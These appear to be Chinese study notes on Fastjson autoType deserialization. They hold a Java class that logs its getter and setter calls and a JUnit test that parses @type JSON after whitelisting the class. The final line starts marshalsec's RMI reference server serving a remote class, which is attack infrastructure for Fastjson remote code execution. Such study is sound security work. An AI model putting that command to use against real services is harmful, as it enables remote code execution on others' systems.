AutoType调试&试验

  • 可以自己写一个Junit代码试试看.
  • 使用@autoType的时候,Fastjson就会自动地调用各种Getter/Setter进行初始化 ```java package Controller;

public class UserDo {

  1. UserDo(){
  2. System.out.println("构造方法被自动调用!");
  3. }
  4. private int id;
  5. private String name;
  6. private String password;
  7. public String getName() {
  8. System.out.println("getName方法被自动调用!");
  9. return name;
  10. }
  11. public void setName(String name) {
  12. System.out.println("setName方法被自动调用!");
  13. this.name = name;
  14. }
  15. public int getId() {
  16. System.out.println("getId方法被自动调用!");
  17. return id;
  18. }
  19. public void setId(int id) {
  20. System.out.println("setId方法被自动调用!");
  21. this.id = id;
  22. }
  23. public String getPassword() {
  24. System.out.println("getPassword方法被自动调用!");
  25. return password;
  26. }
  27. public void setPassword(String password) {
  28. System.out.println("setPassword方法被自动调用!");
  29. this.password = password;
  30. }
  31. //一个拥有返回值的get方法
  32. public String getTest(){
  33. System.out.println("getTest方法被自动调用!");
  34. return null;
  35. }

}

  1. ```java
  2. @Test
  3. public void test(){
  4. // 第一种解法(不建议):如果注释掉此行,会报错 autoType is not support. com.alibaba.middleware.DO.UserDo
  5. // ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  6. // 第二种解法:将需要反序列化的类加白名单;
  7. ParserConfig.getGlobalInstance().addAccept("com.alibaba.middleware.DO.UserDo");
  8. String json ="{\"@type\":\"com.alibaba.middleware.DO.UserDo\",\"id\":\"123\",\"name\":\"qwertyuiop\",\"password\":\"123123\"} ";
  9. UserDo user =(UserDo) JSON.parse(json);
  10. // System.out.println(user.getName());
  11. }

参考资料

image.png

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/#Export 1099